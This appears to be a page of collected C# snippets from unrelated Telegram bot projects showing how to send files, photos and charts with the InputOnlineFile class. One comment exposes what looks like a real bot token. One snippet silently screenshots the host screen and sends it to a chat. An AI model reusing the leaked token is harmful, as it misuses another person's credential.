private async Task CreateHistogram(long chatId, List <int> relayNos)
        {
            var names         = relayNos.Select(x => Globals.Relays[x].FriendlyName);
            var messageToEdit = await bot.SendTextMessageAsync(chatId, "Wykonuję...");;
            var charter       = new Charter("");
            var pngFile       = await charter.PrepareHistogram(relayNos, async step =>
            {
                switch (step)
                {
                case Step.RetrievingData:
                    await bot.EditMessageTextAsync(chatId, messageToEdit.MessageId, "Pobieranie danych...");
                    break;

                case Step.CreatingPlot:
                    await bot.EditMessageTextAsync(chatId, messageToEdit.MessageId, "Tworzenie wykresu...");
                    break;

                case Step.RenderingImage:
                    await bot.EditMessageTextAsync(chatId, messageToEdit.MessageId, "Renderowanie obrazu...");
                    break;
                }
            });

            var fileToSend = new Telegram.Bot.Types.InputFiles.InputOnlineFile(File.OpenRead(pngFile));
            await bot.SendPhotoAsync(chatId, fileToSend);

            await bot.EditMessageTextAsync(chatId, messageToEdit.MessageId, "Gotowe.");
        }
Пример #2
0
        private async Task CreateChart(TimeSpan timeBack, long chatId, string dateTimeFormat, bool oneDay)
        {
            var messageToEdit = await bot.SendTextMessageAsync(chatId, "Wykonuję...");

            var charter = new Charter(dateTimeFormat);
            var pngFile = await charter.PrepareChart(DateTime.Now - timeBack, DateTime.Now, oneDay,
                                                     async step =>
            {
                switch (step)
                {
                case Step.RetrievingData:
                    await bot.EditMessageTextAsync(chatId, messageToEdit.MessageId, "Pobieranie danych...");
                    break;

                case Step.CreatingPlot:
                    await bot.EditMessageTextAsync(chatId, messageToEdit.MessageId, "Tworzenie wykresu...");
                    break;

                case Step.RenderingImage:
                    await bot.EditMessageTextAsync(chatId, messageToEdit.MessageId, "Renderowanie obrazu...");
                    break;
                }
            }, x => bot.SendTextMessageAsync(chatId, string.Format("Liczba próbek: {0}", x)));


            var fileToSend = new Telegram.Bot.Types.InputFiles.InputOnlineFile(File.OpenRead(pngFile));
            await bot.SendPhotoAsync(chatId, fileToSend);

            await bot.EditMessageTextAsync(chatId, messageToEdit.MessageId, "Gotowe.");
        }
Пример #3
0
        public override void Call(Message m, TgGroup g, TgUser u, string[] args, bool dev)
        {
            var msg   = "Player Online:";
            var plots = new List <PlottableData>();

            foreach (var item in g.Servers)
            {
                msg += "\r\n[<code>" + item.Label + "</code>] ";
                if (!item.IsOnline)
                {
                    msg += "Offline";
                }
                else
                {
                    msg += item.PlayerCount + " / " + item.MaxPlayerCount;
                }

                if (TgBot.Conf.DrawPlots)
                {
                    plots.Add(item.GetUserData());
                }

                // add player names if any
                if (item.PlayerList.Count <= 0)
                {
                    continue;
                }

                var n = "";
                foreach (var plr in item.PlayerList)
                {
                    if (!string.IsNullOrEmpty(n))
                    {
                        n += ", ";
                    }
                    n += plr.Name;
                }
                msg += "\r\nNames: <code>" + n + "</code>";
            }

            if (TgBot.Conf.DrawPlots && plots.Count > 0)
            {
                using (var bm = Utils.PlotData(plots.ToArray(), "Minutes Ago", "Player Online"))
                {
                    using (var ms = new MemoryStream())
                    {
                        bm.Save(ms, ImageFormat.Png);
                        bm.Dispose();
                        ms.Position = 0;
                        var iof = new Telegram.Bot.Types.InputFiles.InputOnlineFile(ms);
                        TgBot.Client.SendPhotoAsync(m.Chat.Id, iof, msg, ParseMode.Html).Wait();
                        ms.Close();
                    }
                }
            }
            else
            {
                Respond(m.Chat.Id, msg, ParseMode.Html);
            }
        }
Пример #4
0
        public override void Call(Message m, TgGroup g, TgUser u, string[] args, bool dev)
        {
            var plots = new List <PlottableData>();

            foreach (var item in g.Servers)
            {
                plots.Add(item.GetPingData());
            }

            if (plots.Count > 0)
            {
                using (var bm = Utils.PlotData(plots.ToArray(), "Minutes Ago", "Response time (ms)"))
                {
                    using (var ms = new MemoryStream())
                    {
                        bm.Save(ms, ImageFormat.Png);
                        bm.Dispose();
                        ms.Position = 0;
                        var iof = new Telegram.Bot.Types.InputFiles.InputOnlineFile(ms);
                        TgBot.Client.SendPhotoAsync(m.Chat.Id, iof).Wait();
                        ms.Close();
                    }
                }
            }
        }
        /// <summary>
        /// Метод загрузки файла
        /// </summary>
        /// <param name="chatId">id чата, куда следует отправить файл</param>
        /// <param name="extention">расширение файла</param>
        /// <param name="file">сам файл</param>
        private async void Upload(string chatId, string extention, Telegram.Bot.Types.InputFiles.InputOnlineFile file)
        {
            switch (extention)
            {
            case ".png":
                await bot.SendPhotoAsync(chatId, file);

                break;

            case ".mp3":
                await bot.SendAudioAsync(chatId, file);

                break;

            case ".mp4":
                await bot.SendVideoAsync(chatId, file);

                break;

            default:
                await bot.SendDocumentAsync(chatId, file);

                break;
            }
        }
Пример #6
0
        static private async void ScreenShotH(string path = @"hsomepic.png")
        {
            Bitmap   memoryImage    = new Bitmap(WIDTH, HEIGHT);
            Size     s              = new Size(memoryImage.Width, memoryImage.Height);
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);

            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
            memoryImage.Save(path);
            Thread.Sleep(500);
            try
            {
                using (var fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read))
                {
                    Telegram.Bot.Types.InputFiles.InputOnlineFile inputOnlineFile = new
                                                                                    Telegram.Bot.Types.InputFiles.InputOnlineFile(fileStream, "screen" + new Random().Next(10, 100) + ".png");
                    await Bot.SendDocumentAsync(trustedUsers[userIndex], inputOnlineFile);
                }
                Thread.Sleep(500);
                File.Delete(path);
            }
            catch (Exception ex)
            {
                Send(ex.Message);
            }
            Thread.Sleep(500);
        }
Пример #7
0
        public void SendFile(object target, byte[] bytes, string fileName)
        {
            var id = (long)target;

            using (var stream = new MemoryStream(bytes))
            {
                var document = new Telegram.Bot.Types.InputFiles.InputOnlineFile(stream, fileName);
                _client.SendDocumentAsync(id, document).Wait();
            }
        }
Пример #8
0
        /// <summary>
        /// Отправка документа пользователю
        /// </summary>
        /// <param name="path">Путь к документу</param>
        /// <param name="chatId">ID чата</param>
        /// <returns></returns>
        private async Task SendDocument(string path, long chatId)
        {
            using (FileStream fs = new FileStream(path, FileMode.Open))
            {
                Telegram.Bot.Types.InputFiles.InputOnlineFile file = new Telegram.Bot.Types.InputFiles.InputOnlineFile(fs, path);
                await bot.SendDocumentAsync(chatId, file);

                fs.Dispose();
            }
        }
Пример #9
0
        /// <summary>
        /// Отправить фото с диска
        /// </summary>
        /// <param name="chatId">ID чата</param>
        /// <param name="fileName">Имя файла</param>
        public async void SendPhoto(string path)
        {
            using (var fs = File.OpenRead(path))
            {
                Telegram.Bot.Types.InputFiles.InputOnlineFile iof =
                    new Telegram.Bot.Types.InputFiles.InputOnlineFile(fs);

                var send = await bot.SendPhotoAsync(currentUser.Id, iof);
            }
        }
Пример #10
0
        private void Bot_OnCallBack(object sender, Telegram.Bot.Args.CallbackQueryEventArgs e)
        {
            string operation = e.CallbackQuery.Data.ToString().Substring(0, 6);
            string value     = e.CallbackQuery.Data.ToString().Substring(7);
            string text;

            Telegram.Bot.Types.InputFiles.InputOnlineFile photo;
            switch (operation)
            {
            case "info_s":
                var species = _context.Species.Where(s => s.Name == value).FirstOrDefault();
                text = "Назва породи: " + species.Name + "\n" + "Середня тривалість життя: " + species.Lifetime.ToString() + "\n"
                       + "Розмір: " + species.Size.ToString() + " \n" + "Шерсть: " + species.Wool + "\n" + "Країна: " + species.Country;
                try
                {
                    var imageFileS = System.IO.File.Open("C:/Users/Asus/source/repos/Cats/Web_Lab1_Cats/wwwroot/img/" + species.Photo, FileMode.Open);
                    photo = new Telegram.Bot.Types.InputFiles.InputOnlineFile(imageFileS);
                    Bot.SendPhotoAsync(e.CallbackQuery.From.Id, photo,
                                       caption: text).GetAwaiter().GetResult();
                    imageFileS.Close();
                }
                catch
                {
                    Bot.SendTextMessageAsync(e.CallbackQuery.From.Id, text);
                }
                break;

            case "info_c":

                var    cats = _context.Cats.Where(a => a.Name == value).FirstOrDefault();
                string info = cats.Info;        //.Substring(0, 200);
                text = "Ім'я котика: " + cats.Name + "\n" + "Вік: " + cats.Age.ToString() + "\n" + "Порода: " + cats.Species.Name + "\n"
                       + "Опис: " + info;
                try
                {
                    // Console.WriteLine("/home/vasmax10/Документи/WebLab1ver2/WebLab1ver2/wwwroot" + actors.Photo);
                    var imageFileC = System.IO.File.Open("C:/Users/Asus/source/repos/Cats/Web_Lab1_Cats/wwwroot/img/" + cats.Photo, FileMode.Open);

                    photo = new Telegram.Bot.Types.InputFiles.InputOnlineFile(imageFileC);
                    Bot.SendPhotoAsync(e.CallbackQuery.From.Id, photo).GetAwaiter().GetResult();
                    Bot.SendTextMessageAsync(e.CallbackQuery.From.Id, text);
                    imageFileC.Close();
                }
                catch
                {
                    Bot.SendTextMessageAsync(e.CallbackQuery.From.Id, text);
                }
                break;

            default:
                Bot.SendTextMessageAsync(e.CallbackQuery.From.Id, e.CallbackQuery.Data + "\n" +
                                         "У мене лапки. Я не розумію. Спробуй /info");
                break;
            }
        }
Пример #11
0
        /// <summary>
        /// Метод обработки текста
        /// </summary>
        /// <param name="e">сообщение</param>
        /// <param name="user">польхователь, передавший сообщение</param>
        private async void UseText(Telegram.Bot.Args.MessageEventArgs e, User user)
        {
            string[] split = e.Message.Text.Split(" ", StringSplitOptions.RemoveEmptyEntries);
            if (!(split.Length > 0))
            {
                return;
            }
            switch (split[0])
            {
            case "/start":

                await bot.SendTextMessageAsync(user.ChatId, $"Приветствую тебя, {user.Firstname}! Это моя новая разработка, карманное облако!\n" +
                                               $"Здесь ты можешь хранить свои файлы. Для этого просто отправь сюда любой файл, а я сохраню его!\n" +
                                               $"Для просмотри своих файлов используй команду /list.\n" +
                                               $"Для загрузки файлов используй команду /upload (index), где index это номер файла из списка.");

                break;

            case "/list":
                string text = $"{user.Firstname}, вывожу список твоих файлов! Не забудь скачать их с помощью команлы /upload (index)\n";
                text += user.GetNamesOfFiles();
                await bot.SendTextMessageAsync(user.ChatId, text);

                break;

            case "/upload":
                if (!(split.Length > 1))
                {
                    break;
                }
                int res;
                if (int.TryParse(split[1], out res))
                {
                    string extention = Path.GetExtension(user.GetNameOfFile(res));
                    if (user.GetNameOfFile(res) == "")
                    {
                        await bot.SendTextMessageAsync(user.ChatId, $"{user.Firstname}, файл не был найден.\n" +
                                                       $"Убедитесь в том, что вы указали правильный индекс.");

                        return;
                    }
                    using (FileStream fs = new FileStream($@"Users\{user.Username}\{user.GetNameOfFile(res)}", FileMode.Open))
                    {
                        Telegram.Bot.Types.InputFiles.InputOnlineFile file = new Telegram.Bot.Types.InputFiles.InputOnlineFile(fs);
                        Upload(Convert.ToString(user.ChatId), extention, file);
                    }
                }
                break;

            default:
                break;
            }
        }
Пример #12
0
        /// <summary>
        /// Отправить файл с диска
        /// </summary>
        /// <param name="chatId">ID чата</param>
        /// <param name="fileName">Имя файла</param>
        public async void SendDocument(string path, string fileName)
        {
            using (var fs = File.OpenRead(path))
            {
                Telegram.Bot.Types.InputFiles.InputOnlineFile iof =
                    new Telegram.Bot.Types.InputFiles.InputOnlineFile(fs);

                iof.FileName = fileName;

                var send = await bot.SendDocumentAsync(currentUser.Id, iof);
            }
        }
Пример #13
0
        /// <summary>
        /// Отправить фото в чат
        /// </summary>
        /// <param name="chatId"></param>
        /// <param name="caption"></param>
        /// <param name="file"></param>
        public Message[] SedFoto(ChatId chatId, string caption, List <byte[]> file)
        {
            if (file == null || file.Count == 0)
            {
                return(new Message[2]);
            }
            List <InputMediaBase> inputMediaBases = new List <InputMediaBase>();
            List <Message>        messages        = new List <Message>();

            for (int i = 0; i < file.Count; i++)
            {
                System.IO.Stream fileStream = new System.IO.MemoryStream(file[i]);
                //inputMediaBases.Add(new InputMediaPhoto(new InputMedia(fileStream, caption + i.ToString())));
                var     inputMediaBases1 = new Telegram.Bot.Types.InputFiles.InputOnlineFile(fileStream, caption);
                Message message          = botClient.SendPhotoAsync(chatId, inputMediaBases1, disableNotification: true).Result;
                messages.Add(message);
            }
            return(messages.ToArray());
        }
Пример #14
0
        public override async Task Invoke(CallbackQuery callbackQuery, TelegramBotClient client)
        {
            var data = callbackQuery.Data.Split("@")[1];

            Int32.TryParse(data, out int courseId);

            var dowloadedCourse = await Catalog.GetCourse(courseId);

            var d = new Telegram.Bot.Types.InputFiles.InputOnlineFile(dowloadedCourse.FileId);
            await client.SendDocumentAsync(
                chatId : callbackQuery.Message.Chat.Id,
                caption : dowloadedCourse.Name,
                document : d);

            await client.AnswerCallbackQueryAsync(callbackQuery.Id);

            await client.SendTextMessageAsync(
                chatId : callbackQuery.Message.Chat.Id,
                text : "Благодарим за покупку! Успехов в освоении материала.");
        }
        public async Task ExecuteAsync(Parameters parameters)
        {
            var chatId          = parameters.ChatId;
            var progressMessage = await bot.SendTextMessageAsync(chatId, "Przygotowuję...");

            var lastMessage = string.Empty;
            var exportFile  = await Database.Instance.GetTemperatureSampleExport(async progress =>
            {
                var message = string.Format("Wykonuję ({0:0}%)...", 100 * progress);
                if (message != lastMessage)
                {
                    await bot.EditMessageTextAsync(chatId, progressMessage.MessageId, message);
                    lastMessage = message;
                }
            });

            await bot.EditMessageTextAsync(chatId, progressMessage.MessageId, "Wysyłam...");

            var fileToSend = new Telegram.Bot.Types.InputFiles.InputOnlineFile(File.OpenRead(exportFile), "probki.json.gz");
            await bot.SendDocumentAsync(chatId, fileToSend);

            await bot.EditMessageTextAsync(chatId, progressMessage.MessageId, "Gotowe");
        }
        public async Task ExecuteAsync(Parameters parameters)
        {
            var users = authorizer.ListUsers();

            foreach (var user in users.Concat(Configuration.Instance.ListAdmins()))
            {
                var isAdmin = Configuration.Instance.IsAdmin(user);
                var photos  = await bot.GetUserProfilePhotosAsync(user);

                if (photos.TotalCount < 1)
                {
                    continue;
                }

                var photo = photos.Photos[0][0];

                var markup = new InlineKeyboardMarkup(
                    new[] { InlineKeyboardButton.WithCallbackData("Usuń", "r" + user) });
                var photoToSend = new Telegram.Bot.Types.InputFiles.InputOnlineFile(photo.FileId.ToString());
                await bot.SendPhotoAsync(parameters.ChatId, photoToSend, isAdmin? "Administrator" : "Użytkownik",
                                         replyMarkup : isAdmin?null : markup);
            }
        }
Пример #17
0
        private static void Bot_OnMessage(object sender, Telegram.Bot.Args.MessageEventArgs e)
        {
            if (e.Message.Type == Telegram.Bot.Types.Enums.MessageType.Photo ||
                e.Message.Type == Telegram.Bot.Types.Enums.MessageType.Document
                )
            {
                DownloadFile(e.Message);
                return;
            }

            string msg = e.Message.Text;

            if (msg == null)
            {
                return;
            }

            botUser.teleID  = e.Message.Chat.Id;
            botUser.getNews = false;
            try
            {
                botCntrlr.Register(botUser);
            }
            catch (Exception ex)
            {
                throw (ex);
            }



            string msgGist = new string(msg.Where(c => !char.IsPunctuation(c)).ToArray());

            //Console.WriteLine(e.Message.Chat.Id + "has sent a message!");


            if (msg.Trim() == "/start" || msgGist.Contains("start"))
            {
                bot.SendTextMessageAsync(e.Message.Chat.Id, usage);
                return;
            }
            #region greeting
            if (msgGist.Trim() == "سلام" || msgGist.Trim() == "درود")
            {
                bot.SendTextMessageAsync(e.Message.Chat.Id, "درود!");
                return;
            }
            if (msgGist.Trim() == "خوبی" || msgGist.Trim() == "چطوری" || msgGist.Trim() == "چطورین" || msgGist.Trim() == "چه طوری" || msgGist.Trim() == "چه طورین")
            {
                Random r = new Random();
                int    a = r.Next(0, 3);
                switch (a)
                {
                case 0: bot.SendTextMessageAsync(e.Message.Chat.Id, "ممنونم."); break;

                case 1: bot.SendTextMessageAsync(e.Message.Chat.Id, "مرسی، تو خوبی؟"); break;

                case 2: bot.SendTextMessageAsync(e.Message.Chat.Id, "سپاس، شما چطوری؟"); break;

                case 3: bot.SendTextMessageAsync(e.Message.Chat.Id, "دعا گوییم. شما خوبی؟"); break;
                }
                return;
            }
            #endregion

            #region adv
            if (msgGist.Trim() == "تبلیغات" || msgGist.Trim() == "تبلیغ" || msg.Contains("تبلیغات") || msg.Contains("تبلیغ"))
            {
                var inBtnAdv       = InlineKeyboardButton.WithCallbackData("دریافت تبلیغات", "Recieve_Adv");
                var inBtnCancelAdv = InlineKeyboardButton.WithCallbackData("لغو تبلیغات", "Cancel_Adv");
                var keyboard       = new InlineKeyboardButton[]
                {
                    inBtnAdv,
                    inBtnCancelAdv
                };
                inkeyMrk = new InlineKeyboardMarkup(keyboard);
                bot.SendTextMessageAsync(e.Message.Chat.Id, "آیا مایل به دریافت تبلیغات ما هستید؟", Telegram.Bot.Types.Enums.ParseMode.Default, false, false, 0, inkeyMrk);
                return;
            }
            if (msgGist.Trim() == "پیام همگانی" || msg.Contains("پیام همگانی"))
            {
                //string msg = { ("این یک پیام همگانی و تبلیغاتی است") };
                SendMessageToAll("این یک پیام همگانی و تبلیغاتی است");
                return;
            }
            #endregion

            #region film
            if (msgGist.Trim().Contains("فیلم") || msgGist.Trim().Contains("سریال"))
            {
                //keyborad
                rkm          = new ReplyKeyboardMarkup();
                rkm.Keyboard =
                    new KeyboardButton[][]
                {
                    new KeyboardButton[]
                    {
                        new KeyboardButton("خانوادگی اجتماعی"),
                        new KeyboardButton("انیمیشن"),
                    },

                    new KeyboardButton[]
                    {
                        new KeyboardButton("تریلر - اکشن")
                    },

                    new KeyboardButton[]
                    {
                        new KeyboardButton("کمدی"),
                        new KeyboardButton("درام"),
                        new KeyboardButton("دیگر...")
                    }
                };

                /*
                 *          //keyboard2
                 *          var inBtnFamily = InlineKeyboardButton.WithCallbackData("خانوادگی", "genre-family");
                 *          var inBtnAnimation = InlineKeyboardButton.WithCallbackData("انیمیشن", "genre-animation");
                 *          var inBtnCancel = InlineKeyboardButton.WithCallbackData("هیچکدام", "genre-cancel");
                 *          var keyboard = new InlineKeyboardButton[][]
                 *                  {
                 *                      new InlineKeyboardButton[]
                 *                      {
                 *                          inBtnFamily,
                 *                          inBtnAnimation
                 *                      },
                 *                      new InlineKeyboardButton[]
                 *                      {
                 *                          inBtnCancel
                 *                      }
                 *                  };
                 *          inkeyMrk = new InlineKeyboardMarkup(keyboard);
                 */

                bot.SendTextMessageAsync(e.Message.Chat.Id, "چه فیلمی دوست دارید؟", Telegram.Bot.Types.Enums.ParseMode.Default, false, false, 0, rkm);
                return;
            }
            if (msgGist.Trim() == "انیمیشن")
            {
                bot.SendTextMessageAsync(e.Message.Chat.Id, "بچه شدی؟");
                bot.SendTextMessageAsync(
                    e.Message.Chat.Id,
                    "انتخاب شما: انیمیشن",
                    replyMarkup: new ReplyKeyboardRemove());
                return;
            }

            if (msgGist.Trim() == "خانوادگی اجتماعی")
            {
                bot.SendTextMessageAsync(e.Message.Chat.Id, "زن ذلیل، میخوای بشینی با زن ت فیلم ببینی!!");
                bot.SendTextMessageAsync(
                    e.Message.Chat.Id,
                    "انتخاب شما: خانوادگی اجتماعی",
                    replyMarkup: new ReplyKeyboardRemove());
                return;
            }
            #endregion

            if (msg.Trim() == "عکس" || msgGist.Contains("عکس"))
            {
                string fileName = @"D:\Hadi\Files\sir.png";
                Stream strm     = new FileStream(fileName, FileMode.Open);
                Telegram.Bot.Types.InputFiles.InputOnlineFile photo = new Telegram.Bot.Types.InputFiles.InputOnlineFile(strm);
                //Telegram.Bot.Types.InputFiles.InputFileStream
                bot.SendPhotoAsync(e.Message.Chat.Id, photo);
            }
            //else
            //{
            // bot.SendTextMessageAsync(e.Message.Chat.Id, "متوجه نشدم");
            //}
        }
Пример #18
0
        public Cleverbot(Instance db, Setting settings, TelegramBotClient bot)
        {
            var me = bot.GetMeAsync().Result;

            bot.OnUpdate += (sender, args) =>
            {
                new Task(() =>
                {
                    try
                    {
                        //check to see if it was to me, a reply to me, whatever
                        var message = args.Update.Message;
                        if (message?.Date == null)
                        {
                            return;
                        }
                        if (message.Date < DateTime.UtcNow.AddSeconds(-10))
                        {
                            return;
                        }
                        if (message?.Text == null)
                        {
                            return;
                        }

                        var text = message.Text.ToLower();

                        if (text.StartsWith("!") || text.StartsWith("/"))
                        {
                            return;                                               //ignore commands
                        }
                        if (text.Contains(me.FirstName.ToLower()) || text.Contains(me.Username.ToLower()) ||
                            message.ReplyToMessage?.From.Id == me.Id || message.Chat.Type == ChatType.Private)
                        {
                            DB.Models.User u = db.GetUserById(message.From.Id);
                            if (u.Grounded == true)
                            {
                                return;
                            }
                            DB.Models.Group g = null;
                            if (message.Chat.Type != ChatType.Private)
                            {
                                //check if group has AI enabled
                                g           = db.GetGroupById(message.Chat.Id);
                                var enabled = g.GetSetting <bool>("MitsukuEnabled", db, false);
                                if (!enabled)
                                {
                                    return;
                                }
                            }
                            if (message.Text.Contains("ZBERT"))
                            {
                                bot.SendTextMessageAsync(message.Chat.Id, $"User {message.From.FirstName} is now ignored.", replyToMessageId: message.MessageId);
                                u            = db.GetUserById(message.From.Id);
                                u.Grounded   = true;
                                u.GroundedBy = "Mitsuku";
                                u.Save(db);
                                return;
                            }
                            var cookieCode = "";
                            if (message.Chat.Type == ChatType.Private || text.Contains("my") || text.Contains("i am"))
                            {
                                //personal message

                                cookieCode = u.GetSetting <string>("MitsukuCookie", db, "");
                            }
                            else
                            {
                                //group message
                                g          = db.GetGroupById(message.Chat.Id);
                                cookieCode = g.GetSetting <string>("MitsukuCookie", db, "");
                            }
                            text = text.Replace(me.FirstName.ToLower(), "Mitsuku").Replace("@", "").Replace(me.Username.ToLower(), "Mitsuku");
                            //change this to use webrequest, so we can use cookies.

                            //var request = WebRequest.Create("https://kakko.pandorabots.com/pandora/talk?botid=f326d0be8e345a13&skin=chat");
                            var values = new NameValueCollection()
                            {
                                { "message", text }
                            };
                            //var response = request.GetResponse()
                            var wc = new CookieAwareWebClient();
                            if (!String.IsNullOrEmpty(cookieCode))
                            {
                                wc.CookieContainer.Add(new Cookie
                                {
                                    Domain = "kakko.pandorabots.com",
                                    Name   = "botcust2",
                                    Value  = cookieCode
                                });
                            }
                            var response =
                                Encoding.UTF8.GetString(
                                    wc.UploadValues(
                                        "https://kakko.pandorabots.com/pandora/talk?botid=f326d0be8e345a13&skin=chat", values
                                        ));


                            //sample botcust2=94b4d935be0b9c19
                            var cookie = GetAllCookies(wc.CookieContainer).First();
                            if (cookie.Value != cookieCode)
                            {
                                if (u != null)
                                {
                                    u.SetSetting <string>("MitsukuCookie", db, "", cookie.Value);
                                }
                                if (g != null)
                                {
                                    g.SetSetting <string>("MitsukuCookie", db, "", cookie.Value);
                                }
                            }
                            //wc.CookieContainer
                            var matches = Regex.Matches(response, "(Mіtsuku:</B>(.*))(<B>You:</B>)", RegexOptions.CultureInvariant);
                            var match   = matches[0].Value;
                            if (match.Contains("<B>You:</B>"))
                            {
                                match = match.Substring(0, match.IndexOf("<B>You:</B>"));
                            }
                            match =
                                match.Replace("Mіtsuku:", "")
                                .Replace("Mitsuku:", "")
                                .Replace("</B> ", "")
                                .Replace(" .", ".")
                                .Replace("<br>", "  ")
                                .Replace("Mitsuku", "Seras")
                                .Replace("Мitsuku", "Seras")
                                .Replace("Mіtsuku", "Seras")
                                .Replace(" < P ALIGN=\"CENTER\">", "")
                                .Replace("</P>", " ")
                                .Trim();
                            match = match.Replace("<B>", "```").Replace("You:", "").Replace("Μitsuku:", "").Trim();
                            match = match.Replace("Mousebreaker", "Para");

                            //[URL]http://www.google.co.uk/search?hl=en&amp;q=dot net&amp;btnI=I%27m+Feeling+Lucky&amp;meta=[/URL]
                            if (match.Contains("[URL]"))
                            {
                                //parse out the url
                                var url = Regex.Match(match, @"(\[URL\].*\[/URL\])").Value;
                                match   = "[" + match.Replace(url, "") + "]";
                                url     = url.Replace("[URL]", "").Replace("[/URL]", "").Replace(".co.uk", ".com");
                                match  += $"({url})"; //markdown linking
                                Console.WriteLine(match);

                                bot.SendTextMessageAsync(args.Update.Message.Chat.Id, match, replyToMessageId: message.MessageId, parseMode: ParseMode.Markdown);
                            }
                            //<P ALIGN="CENTER"><img src="http://www.square-bear.co.uk/mitsuku/gallery/donaldtrump.jpg"></img></P>
                            else if (match.Contains("img src=\""))
                            {
                                var img = Regex.Match(match, "<img src=\"(.*)\"></img>").Value;
                                match   = match.Replace(img, "").Replace("<P ALIGN=\"CENTER\">", "").Trim();

                                ;
                                img = img.Replace("<img src=\"", "").Replace("\"></img>", "");
                                //download the photo
                                var filename = args.Update.Message.MessageId + ".jpg";
                                new WebClient().DownloadFile(img, filename);
                                //create the file to send
                                var f2S = new Telegram.Bot.Types.InputFiles.InputOnlineFile(new FileStream(filename, FileMode.Open, FileAccess.Read), filename);
                                Console.WriteLine(match);
                                bot.SendPhotoAsync(args.Update.Message.Chat.Id, f2S, match);
                                //bot.SendTextMessageAsync(args.Update.Message.Chat.Id, match);
                            }
                            else
                            {
                                Console.WriteLine(match);
                                bot.SendTextMessageAsync(args.Update.Message.Chat.Id, match, replyToMessageId: message.MessageId, parseMode: ParseMode.Markdown);
                            }
                        }
                    }
                    catch
                    {
                        // ignored
                    }
                }).Start();
            };
        }
Пример #19
0
        /// <summary>
        /// Нажатие Enter аналогичные действия отправки сообщения пользователю
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void Window_KeyDown(object sender, KeyEventArgs e)
        {
            if (e.Key == Key.Enter)
            {
                //Если пользователь выбран
                if (forIdTB.Text != "")
                {
                    //Если есть прикрепленный файл и нет сообщения
                    if (pathToFile.Text != "" && ForInputmsgTBox.Text == "")
                    {
                        //В зависимости от типа файла вызывается соответсвующий метод
                        if (fi.FullName.Contains("jpg"))
                        {
                            using (var s = File.OpenRead($@"{fi.FullName}"))
                            {
                                var fileToSend = new Telegram.Bot.Types.InputFiles.InputOnlineFile(s);
                                await client.bot.SendPhotoAsync(Convert.ToInt64(forIdTB.Text), fileToSend).ConfigureAwait(false);
                            }
                        }
                        if (fi.FullName.Contains("mp3"))
                        {
                            using (var s = File.OpenRead($@"{fi.FullName}"))
                            {
                                var fileToSend = new Telegram.Bot.Types.InputFiles.InputOnlineFile(s);
                                await client.bot.SendAudioAsync(Convert.ToInt64(forIdTB.Text), fileToSend).ConfigureAwait(false);
                            }
                        }

                        //Очистка формы
                        Dispatcher.Invoke(() => pathToFile.Text = "");

                        Dispatcher.Invoke(() => imgToSend.Source = null);
                    }
                    //Если нет файла для отправки и есть сообщение
                    else if (pathToFile.Text == "" && ForInputmsgTBox.Text != "")
                    {
                        //Строка сообщения из данных текстбокса
                        string message = ForInputmsgTBox.Text;
                        //Отправка и добавление в лог сообщения, очистка формы
                        Dispatcher.Invoke(() => client.SendMessage(ForInputmsgTBox.Text, forIdTB.Text));

                        Dispatcher.Invoke(() => client.BotMsgLog[TgMsgClient.usersDictionary[long.Parse(forIdTB.Text)] - 1].Add(new MsgLog(message, "СомНэйм", client.bot.BotId)));

                        Dispatcher.Invoke(() => pathToFile.Text = "");

                        Dispatcher.Invoke(() => ForInputmsgTBox.Clear());

                        Dispatcher.Invoke(() => imgToSend.Source = null);
                    }
                    //Если есть и сообщение и файл, то выполняется совокупность действий двух предыдущих if
                    else if (pathToFile.Text != "" && ForInputmsgTBox.Text != "")
                    {
                        string message = ForInputmsgTBox.Text;

                        if (pathToFile.Text != "" && !pathToFile.Text.Contains("\"coord\""))
                        {
                            if (fi.FullName.Contains("jpg"))
                            {
                                using (var s = File.OpenRead($@"{fi.FullName}"))
                                {
                                    var fileToSend = new Telegram.Bot.Types.InputFiles.InputOnlineFile(s);
                                    await client.bot.SendPhotoAsync(Convert.ToInt64(forIdTB.Text), fileToSend).ConfigureAwait(false);
                                }
                            }
                            if (fi.FullName.Contains("mp3"))
                            {
                                using (var s = File.OpenRead($@"{fi.FullName}"))
                                {
                                    var fileToSend = new Telegram.Bot.Types.InputFiles.InputOnlineFile(s);
                                    await client.bot.SendAudioAsync(Convert.ToInt64(forIdTB.Text), fileToSend).ConfigureAwait(false);
                                }
                            }
                        }

                        Dispatcher.Invoke(() => client.SendMessage(ForInputmsgTBox.Text, forIdTB.Text));

                        Dispatcher.Invoke(() => client.BotMsgLog[TgMsgClient.usersDictionary[long.Parse(forIdTB.Text)] - 1].Add(new MsgLog(message, "СомНэйм", client.bot.BotId)));

                        Dispatcher.Invoke(() => pathToFile.Text = "");

                        Dispatcher.Invoke(() => ForInputmsgTBox.Clear());

                        Dispatcher.Invoke(() => imgToSend.Source = null);
                    }
                    else
                    {
                        MessageBox.Show("Нет данных для отправки.");
                    }
                }
                else
                {
                    MessageBox.Show("Выберете получателя.");
                }
            }
        }
Пример #20
0
        private void SendMain_Click(object sender, RoutedEventArgs e)
        {
            //получить текст из richtextbox
            string newText = new TextRange(richTextBox1.Document.ContentStart, richTextBox1.Document.ContentEnd).Text;

            if (telFlag)
            {
                using (StreamReader sw = new StreamReader("namechanell.txt"))
                {
                    nameCanal = sw.ReadLine();
                }
                //отправляем в телеграм
                //861879980:AAHlhxjh6YncToyBNjtSM45cF9YZeqiSdD4
                botClient = new TelegramBotClient(tokenTelegram);
                //botClient.SendPhotoAsync("@diejdkekr", photoHeaderDispData);
                try
                {
                    FileStream fstream = System.IO.File.OpenRead(way);

                    Telegram.Bot.Types.InputFiles.InputOnlineFile t = new Telegram.Bot.Types.InputFiles.InputOnlineFile(fstream, TxtFile.Text);
                    //https://t.me/voronenokhse
                    botClient.SendPhotoAsync(nameCanal, t, newText);
                    flag = true;
                }
                catch (System.ArgumentNullException)
                {
                    string url = "https://api.telegram.org/bot" + tokenTelegram + "/sendMessage";

                    using (var webClient = new WebClient())
                    {
                        // Создаём коллекцию параметров
                        var pars = new NameValueCollection();

                        // Добавляем необходимые параметры в виде пар ключ, значение
                        pars.Add("text", newText);
                        pars.Add("chat_id", nameCanal);
                        // Посылаем параметры на сервер
                        // Может быть ответ в виде массива байт
                        try
                        {
                            var response = webClient.UploadValues(url, pars);
                            flag = true;
                        }
                        catch (Exception ex)
                        {
                            System.Windows.MessageBox.Show("Нельзя отправить полностью пустое сообщение\n" + ex.Message);
